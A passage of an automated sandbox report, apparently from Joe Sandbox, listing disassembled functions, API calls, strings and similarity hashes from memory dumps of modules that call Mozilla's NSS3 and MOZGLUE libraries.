EnterCriticalSection.KERNEL32(0000001C,?,6CB5E477,?,?,?,00000001,00000000,?,?,6CB63F23,?), ref: 6CB62C76
PL_HashTableLookup.NSS3(00000000,?,?,6CB5E477,?,?,?,00000001,00000000,?,?,6CB63F23,?), ref: 6CB62C86
PR_Unlock.NSS3(00000000,?,?,?,?,6CB5E477,?,?,?,00000001,00000000,?,?,6CB63F23,?), ref: 6CB62C93

Part of subcall function 6CBEDD70: TlsGetValue.KERNEL32 ref: 6CBEDD8C
Part of subcall function 6CBEDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CBEDDB4

TlsGetValue.KERNEL32(?,?,?,?,?,6CB5E477,?,?,?,00000001,00000000,?,?,6CB63F23,?), ref: 6CB62CC6
EnterCriticalSection.KERNEL32(0000001C,?,?,?,?,?,6CB5E477,?,?,?,00000001,00000000,?,?,6CB63F23,?), ref: 6CB62CDA
PL_HashTableLookup.NSS3(00000000,?,?,?,?,?,?,6CB5E477,?,?,?,00000001,00000000,?,?,6CB63F23), ref: 6CB62CEA
PR_Unlock.NSS3(00000000,?,?,?,?,?,?,?,6CB5E477,?,?,?,00000001,00000000,?), ref: 6CB62CF7
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,6CB5E477,?,?,?,00000001,00000000,?), ref: 6CB62D4D
EnterCriticalSection.KERNEL32(?), ref: 6CB62D61
PL_HashTableLookup.NSS3(?,?), ref: 6CB62D71
PR_Unlock.NSS3(?), ref: 6CB62D7E

Part of subcall function 6CB307A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CAC204A), ref: 6CB307AD
Part of subcall function 6CB307A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CAC204A), ref: 6CB307CD
Part of subcall function 6CB307A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CAC204A), ref: 6CB307D6
Part of subcall function 6CB307A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CAC204A), ref: 6CB307E4
Part of subcall function 6CB307A0: TlsSetValue.KERNEL32(00000000,?,6CAC204A), ref: 6CB30864
Part of subcall function 6CB307A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CB30880
Part of subcall function 6CB307A0: TlsSetValue.KERNEL32(00000000,?,?,6CAC204A), ref: 6CB308CB
Part of subcall function 6CB307A0: TlsGetValue.KERNEL32(?,?,6CAC204A), ref: 6CB308D7
Part of subcall function 6CB307A0: TlsGetValue.KERNEL32(?,?,6CAC204A), ref: 6CB308FB

Memory Dump Source

Source File: 00000000.00000002.2700205265.000000006CAC1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2700152517.000000006CAC0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700579804.000000006CC9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700630266.000000006CC9F000.00000008.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700696862.000000006CCA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2701084753.000000006CCA5000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: Value$CriticalSection$EnterHashLookupTableUnlock$calloc$Leave
String ID:
API String ID: 2446853827-0
Opcode ID: a3f72ad9ab3a58d0e1be66eeba59df726e33870fb4d1e5cc8d75911a3a078f35
Instruction ID: 159f6ab64db8cc41ebeb096a0db57074050d7d18ff84fc27f5b4a8a322bdebf7
Opcode Fuzzy Hash: a3f72ad9ab3a58d0e1be66eeba59df726e33870fb4d1e5cc8d75911a3a078f35
Instruction Fuzzy Hash: FA51E4B6D00655ABEB009F25EC458AA7778FF1935CB048520ED1897B11E731ED68C7E2

Function 6CAC4C70 Relevance: 18.1, APIs: 12, Instructions: 116threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6CAC3921,6CCA14E4,6CC0CC70), ref: 6CAC4C97
EnterCriticalSection.KERNEL32(?,?,?,?,6CAC3921,6CCA14E4,6CC0CC70), ref: 6CAC4CB0
PR_Unlock.NSS3(?,?,?,?,?,6CAC3921,6CCA14E4,6CC0CC70), ref: 6CAC4CC9
TlsGetValue.KERNEL32(?,?,?,?,?,6CAC3921,6CCA14E4,6CC0CC70), ref: 6CAC4D11
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6CAC3921,6CCA14E4,6CC0CC70), ref: 6CAC4D2A
PR_NotifyAllCondVar.NSS3(?,?,?,?,?,?,?,6CAC3921,6CCA14E4,6CC0CC70), ref: 6CAC4D4A
PR_Unlock.NSS3(?,?,?,?,?,?,?,6CAC3921,6CCA14E4,6CC0CC70), ref: 6CAC4D57
PR_GetCurrentThread.NSS3(?,?,?,?,?,6CAC3921,6CCA14E4,6CC0CC70), ref: 6CAC4D97
PR_Lock.NSS3(?,?,?,?,?,6CAC3921,6CCA14E4,6CC0CC70), ref: 6CAC4DBA
PR_WaitCondVar.NSS3 ref: 6CAC4DD4
PR_Unlock.NSS3(?,?,?,?,?,6CAC3921,6CCA14E4,6CC0CC70), ref: 6CAC4DE6
PR_GetCurrentThread.NSS3(?,?,?,?,?,6CAC3921,6CCA14E4,6CC0CC70), ref: 6CAC4DEF

Memory Dump Source

Source File: 00000000.00000002.2700205265.000000006CAC1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2700152517.000000006CAC0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700579804.000000006CC9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700630266.000000006CC9F000.00000008.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700696862.000000006CCA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2701084753.000000006CCA5000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: Unlock$CondCriticalCurrentEnterSectionThreadValue$LockNotifyWait
String ID:
API String ID: 3388019835-0
Opcode ID: 0ec966222eca346a65b7ec30b4d3fd49c5468c82534f92a2a6664dc837bec5af
Instruction ID: 874c12823f6883879d67dcaefb8be9667e9f5b3a3370d0339a7b2374828ef104
Opcode Fuzzy Hash: 0ec966222eca346a65b7ec30b4d3fd49c5468c82534f92a2a6664dc837bec5af
Instruction Fuzzy Hash: 91416CB5A18A65CFCB00AFB9E48856DBBB4FF05314B094669D858DB720E730D884CB86

Function 6CA68ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6CA2EB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA2EB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6CA6B392,?,?,00000001), ref: 6CA691F4

Part of subcall function 6CA5CBE8: GetCurrentProcess.KERNEL32(?,6CA231A7), ref: 6CA5CBF1
Part of subcall function 6CA5CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CA231A7), ref: 6CA5CBFA

Strings

timeline-memory, xrefs: 6CA69088
marker-table, xrefs: 6CA6906C
stack-chart, xrefs: 6CA690B2
marker-chart, xrefs: 6CA6905E
timeline-ipc, xrefs: 6CA69096
name, xrefs: 6CA68F16
data, xrefs: 6CA690E8
timeline-fileio, xrefs: 6CA690A4
timeline-overview, xrefs: 6CA6907A

Memory Dump Source

Source File: 00000000.00000002.2699980794.000000006CA21000.00000020.00000001.01000000.00000014.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2699948989.000000006CA20000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700052419.000000006CA9D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700087587.000000006CAAE000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700119864.000000006CAB2000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: 777bdbc1c272a7b157d9d859ae0b447b064186518e20b73d1237668843e56c0d
Instruction ID: d5099ccd4c7d3ac1354af669e496e77408e10e226a2f6fd2bf7981af82687377
Opcode Fuzzy Hash: 777bdbc1c272a7b157d9d859ae0b447b064186518e20b73d1237668843e56c0d
Instruction Fuzzy Hash: E7B1B3B0E112199BDB04CFA9CA527EEBBB5EB84318F144119D506ABF80D73199C9CBD0

Function 6CA4C570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CA4C5A3
WideCharToMultiByte.KERNEL32 ref: 6CA4C9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6CA4C9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6CA4CA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CA4CA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA4CAA5

Strings

(null), xrefs: 6CA4C596
0, xrefs: 6CA4D30A

Memory Dump Source

Source File: 00000000.00000002.2699980794.000000006CA21000.00000020.00000001.01000000.00000014.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2699948989.000000006CA20000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700052419.000000006CA9D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700087587.000000006CAAE000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700119864.000000006CAB2000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: c71e190095e652397a08eae6d6617156063596c5ec3a6aa0b51f1f34a205374d
Instruction ID: a73c19a619970ae35c0d41a0e804180ee7da40fa359b98b03fcb28f59ce52890
Opcode Fuzzy Hash: c71e190095e652397a08eae6d6617156063596c5ec3a6aa0b51f1f34a205374d
Instruction Fuzzy Hash: 3BA19C306083429FDB00DF28C55875ABBF1AF89748F18C92DE88997751D771E889CB82

Function 6CB8ECE0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,00000000,?,?,6CB8DE64), ref: 6CB8ED0C
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB8ED22

Part of subcall function 6CB9B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CC718D0,?), ref: 6CB9B095

PL_FreeArenaPool.NSS3(?), ref: 6CB8ED4A
PL_FinishArenaPool.NSS3(?), ref: 6CB8ED6B
PR_CallOnce.NSS3(6CCA2AA4,6CBA12D0), ref: 6CB8ED38

Part of subcall function 6CAC4C70: TlsGetValue.KERNEL32(?,?,?,6CAC3921,6CCA14E4,6CC0CC70), ref: 6CAC4C97
Part of subcall function 6CAC4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CAC3921,6CCA14E4,6CC0CC70), ref: 6CAC4CB0
Part of subcall function 6CAC4C70: PR_Unlock.NSS3(?,?,?,?,?,6CAC3921,6CCA14E4,6CC0CC70), ref: 6CAC4CC9

SECOID_FindOID_Util.NSS3(?), ref: 6CB8ED52
PR_CallOnce.NSS3(6CCA2AA4,6CBA12D0), ref: 6CB8ED83
PL_FreeArenaPool.NSS3(?), ref: 6CB8ED95
PL_FinishArenaPool.NSS3(?), ref: 6CB8ED9D

Part of subcall function 6CBA64F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6CBA127C,00000000,00000000,00000000), ref: 6CBA650E

Strings

security, xrefs: 6CB8ED06

Memory Dump Source

Source File: 00000000.00000002.2700205265.000000006CAC1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2700152517.000000006CAC0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700579804.000000006CC9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700630266.000000006CC9F000.00000008.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700696862.000000006CCA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2701084753.000000006CCA5000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: ArenaPool$CallFinishFreeOnceUtil$CriticalDecodeEnterErrorFindInitItem_QuickSectionUnlockValuefree
String ID: security
API String ID: 3323615905-3315324353
Opcode ID: 186b7c23a543c8de3f8dc241036711c75e6bdf1eb27c926eb0f69352ec2b9564
Instruction ID: c5bf6cc7c8ebd1728d04990d339d769f0f2038cde1403f45221b30257f5b6e28
Opcode Fuzzy Hash: 186b7c23a543c8de3f8dc241036711c75e6bdf1eb27c926eb0f69352ec2b9564
Instruction Fuzzy Hash: A5116D799052E4ABE71057A5AC44BBF7278EF0270CF040424E86563E50FB20A90E87E7

Function 6CC50EB0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Aborting,?,6CB32357), ref: 6CC50EB8
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(6CB32357), ref: 6CC50EC0
PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6CC50EE6

Part of subcall function 6CC509D0: PR_Now.NSS3 ref: 6CC50A22
Part of subcall function 6CC509D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6CC50A35
Part of subcall function 6CC509D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6CC50A66
Part of subcall function 6CC509D0: PR_GetCurrentThread.NSS3 ref: 6CC50A70
Part of subcall function 6CC509D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6CC50A9D
Part of subcall function 6CC509D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6CC50AC8
Part of subcall function 6CC509D0: PR_vsmprintf.NSS3(?,?), ref: 6CC50AE8
Part of subcall function 6CC509D0: EnterCriticalSection.KERNEL32(?), ref: 6CC50B19
Part of subcall function 6CC509D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CC50B48
Part of subcall function 6CC509D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CC50C76
Part of subcall function 6CC509D0: PR_LogFlush.NSS3 ref: 6CC50C7E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6CC50EFA

Part of subcall function 6CB3AEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6CB3AF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC50F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC50F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC50F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC50F2B

Strings

Aborting, xrefs: 6CC50EB3
Assertion failure: %s, at %s:%d, xrefs: 6CC50ED9, 6CC50EE5, 6CC50F06, 6CC50F0B

Memory Dump Source

Source File: 00000000.00000002.2700205265.000000006CAC1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2700152517.000000006CAC0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700579804.000000006CC9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700630266.000000006CC9F000.00000008.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700696862.000000006CCA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2701084753.000000006CCA5000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: DebugPrintR_snprintf__acrt_iob_funcabort$BreakCriticalCurrentEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime__stdio_common_vfprintffflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 3905088656-1374795319
Opcode ID: 3c4c357a7988e18e6d900776a40c7d9ad1954aafbc0bd90f6a7aa75005342770
Instruction ID: 60877dfabdb466fd8f7c0453968ef95e9f021af937a6e6f4177959dc9c3bbe9d
Opcode Fuzzy Hash: 3c4c357a7988e18e6d900776a40c7d9ad1954aafbc0bd90f6a7aa75005342770
Instruction Fuzzy Hash: E9F062F69001147BDE017FA0DC4AC9B3E3DDF86768F444464FD0956612EA36EA2496B2

Function 6CBB4DB0 Relevance: 16.9, APIs: 11, Instructions: 395memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400), ref: 6CBB4DCB

Part of subcall function 6CBA0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CB487ED,00000800,6CB3EF74,00000000), ref: 6CBA1000
Part of subcall function 6CBA0FF0: PR_NewLock.NSS3(?,00000800,6CB3EF74,00000000), ref: 6CBA1016
Part of subcall function 6CBA0FF0: PL_InitArenaPool.NSS3(00000000,security,6CB487ED,00000008,?,00000800,6CB3EF74,00000000), ref: 6CBA102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000001C), ref: 6CBB4DE1

Part of subcall function 6CBA10C0: TlsGetValue.KERNEL32(?,6CB48802,00000000,00000008,?,6CB3EF74,00000000), ref: 6CBA10F3
Part of subcall function 6CBA10C0: EnterCriticalSection.KERNEL32(?,?,6CB48802,00000000,00000008,?,6CB3EF74,00000000), ref: 6CBA110C
Part of subcall function 6CBA10C0: PL_ArenaAllocate.NSS3(?,?,?,6CB48802,00000000,00000008,?,6CB3EF74,00000000), ref: 6CBA1141
Part of subcall function 6CBA10C0: PR_Unlock.NSS3(?,?,?,6CB48802,00000000,00000008,?,6CB3EF74,00000000), ref: 6CBA1182
Part of subcall function 6CBA10C0: TlsGetValue.KERNEL32(?,6CB48802,00000000,00000008,?,6CB3EF74,00000000), ref: 6CBA119C

PORT_ArenaAlloc_Util.NSS3(?,0000001C), ref: 6CBB4DFF
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CBB4E59

Part of subcall function 6CB9FAB0: free.MOZGLUE(?,-00000001,?,?,6CB3F673,00000000,00000000), ref: 6CB9FAC7

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CC7300C,00000000), ref: 6CBB4EB8
SECOID_FindOID_Util.NSS3(?), ref: 6CBB4EFF
memcmp.VCRUNTIME140(?,00000000,00000000), ref: 6CBB4F56
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CBB521A

Memory Dump Source

Source File: 00000000.00000002.2700205265.000000006CAC1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2700152517.000000006CAC0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700579804.000000006CC9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700630266.000000006CC9F000.00000008.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700696862.000000006CCA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2701084753.000000006CCA5000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_Item_Value$AllocateCriticalDecodeEnterFindFreeInitLockPoolQuickSectionUnlockZfreecallocfreememcmp
String ID:
API String ID: 1025791883-0
Opcode ID: 0e86f46321a66987dc343cdaea9f57fdb4f686a3bec5d7da31e84404ce9603a2
Instruction ID: af7eeb7df98d645bb626d779ab89b3f0b0da9ef845840d5aebaf711bdce289bd
Opcode Fuzzy Hash: 0e86f46321a66987dc343cdaea9f57fdb4f686a3bec5d7da31e84404ce9603a2
Instruction Fuzzy Hash: 26F17A71E00249CBDB08CF54D8407AEB7B2FF48358F254129E915AB780EB35E986CF92

Function 6CA24480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6CA64843,?), ref: 6CA245F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6CA64843,?), ref: 6CA2468A
free.MOZGLUE(?,?,?,?,?,?,6CA64843,?), ref: 6CA246C9
free.MOZGLUE(?), ref: 6CA246EF
free.MOZGLUE(?), ref: 6CA24712
free.MOZGLUE(?), ref: 6CA24735
free.MOZGLUE(?), ref: 6CA24758
free.MOZGLUE(?), ref: 6CA2477B
free.MOZGLUE(?), ref: 6CA2479E

Memory Dump Source

Source File: 00000000.00000002.2699980794.000000006CA21000.00000020.00000001.01000000.00000014.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2699948989.000000006CA20000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700052419.000000006CA9D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700087587.000000006CAAE000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700119864.000000006CAB2000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: 07941f5633c9850cf684a2c8764409ccc007bcdf2529ee946d1e421100239638
Instruction ID: b81233be0eae5ae34be01b29d12dab59a9fbd0cf793f92fdc60faf7a77e3484b
Opcode Fuzzy Hash: 07941f5633c9850cf684a2c8764409ccc007bcdf2529ee946d1e421100239638
Instruction Fuzzy Hash: 19B1E271A005208FDB18CF3CD99476D76B2EF42328F1C4669E866DBB96D738D8C48B81

Function 6CBB0C60 Relevance: 16.7, APIs: 11, Instructions: 153memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(6CBB2C2A), ref: 6CBB0C81

Part of subcall function 6CB9BE30: SECOID_FindOID_Util.NSS3(6CB5311B,00000000,?,6CB5311B,?), ref: 6CB9BE44

Part of subcall function 6CB88500: SECOID_GetAlgorithmTag_Util.NSS3(6CB895DC,00000000,00000000,00000000,?,6CB895DC,00000000,00000000,?,6CB67F4A,00000000,?,00000000,00000000), ref: 6CB88517

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CBB0CC4

Part of subcall function 6CB9FAB0: free.MOZGLUE(?,-00000001,?,?,6CB3F673,00000000,00000000), ref: 6CB9FAC7

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CBB0CD5
PORT_ZAlloc_Util.NSS3(0000101C), ref: 6CBB0D1D
PK11_GetBlockSize.NSS3(-00000001,00000000), ref: 6CBB0D3B
PK11_CreateContextBySymKey.NSS3(-00000001,00000104,?,00000000), ref: 6CBB0D7D
free.MOZGLUE(00000000), ref: 6CBB0DB5
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CBB0DC1
free.MOZGLUE(00000000), ref: 6CBB0DF7
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CBB0E05
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CBB0E0F

Part of subcall function 6CB895C0: SECOID_FindOIDByTag_Util.NSS3(00000000,?,00000000,?,6CB67F4A,00000000,?,00000000,00000000), ref: 6CB895E0
Part of subcall function 6CB895C0: PK11_GetIVLength.NSS3(?,?,?,00000000,?,6CB67F4A,00000000,?,00000000,00000000), ref: 6CB895F5
Part of subcall function 6CB895C0: SECOID_GetAlgorithmTag_Util.NSS3(00000000), ref: 6CB89609
Part of subcall function 6CB895C0: SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CB8961D
Part of subcall function 6CB895C0: PK11_GetInternalSlot.NSS3 ref: 6CB8970B
Part of subcall function 6CB895C0: PK11_FreeSymKey.NSS3(00000000), ref: 6CB89756
Part of subcall function 6CB895C0: PK11_GetIVLength.NSS3(?), ref: 6CB89767
Part of subcall function 6CB895C0: SECITEM_DupItem_Util.NSS3(00000000), ref: 6CB8977E
Part of subcall function 6CB895C0: SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CB8978E

Memory Dump Source

Source File: 00000000.00000002.2700205265.000000006CAC1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2700152517.000000006CAC0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700579804.000000006CC9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700630266.000000006CC9F000.00000008.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700696862.000000006CCA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2701084753.000000006CCA5000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: Util$K11_$Tag_$Item_$FindZfree$Algorithmfree$ContextLength$Alloc_BlockCreateDestroyFreeInternalSizeSlot
String ID:
API String ID: 3136566230-0
Opcode ID: e8886cbe2aaf019be4643ee0cda20fe6f41cccaa2e9043bae18b8e9c4215495e
Instruction ID: b1510003dd4d3fb6f618ec029c5d6998d1a74c0976734fbebb30014768facde8
Opcode Fuzzy Hash: e8886cbe2aaf019be4643ee0cda20fe6f41cccaa2e9043bae18b8e9c4215495e
Instruction Fuzzy Hash: D941CEF1901296ABEB009F65ED41BBF7674EF01358F100028ED1567B81EB35EA58CBE2

Function 6CA8AC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6CA8AC52
CreateFileMappingW.KERNEL32 ref: 6CA8AC7D
GetSystemInfo.KERNEL32 ref: 6CA8AC98
MapViewOfFile.KERNEL32 ref: 6CA8ACB0
GetSystemInfo.KERNEL32 ref: 6CA8ACCD
MapViewOfFile.KERNEL32 ref: 6CA8AD05
UnmapViewOfFile.KERNEL32 ref: 6CA8AD1C
CloseHandle.KERNEL32 ref: 6CA8AD28
UnmapViewOfFile.KERNEL32 ref: 6CA8AD37
CloseHandle.KERNEL32 ref: 6CA8AD43
CloseHandle.KERNEL32 ref: 6CA8AD67

Memory Dump Source

Source File: 00000000.00000002.2699980794.000000006CA21000.00000020.00000001.01000000.00000014.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2699948989.000000006CA20000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700052419.000000006CA9D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700087587.000000006CAAE000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700119864.000000006CAB2000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: f6a88a959cc1ba7a3c40b36a465546b22cf4ceeb8b23e696c558e400ad1fbcc2
Instruction ID: 75d464b20ece8fd514713fa4b69ab32c3138e3ab4c45b0925936170b1ec285df
Opcode Fuzzy Hash: f6a88a959cc1ba7a3c40b36a465546b22cf4ceeb8b23e696c558e400ad1fbcc2
Instruction Fuzzy Hash: 7A3195B190530A8FDB04AFBCE64825EBBF1FF45305F018A2DE98587251EB749489CB82

Function 6CAE2E50 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

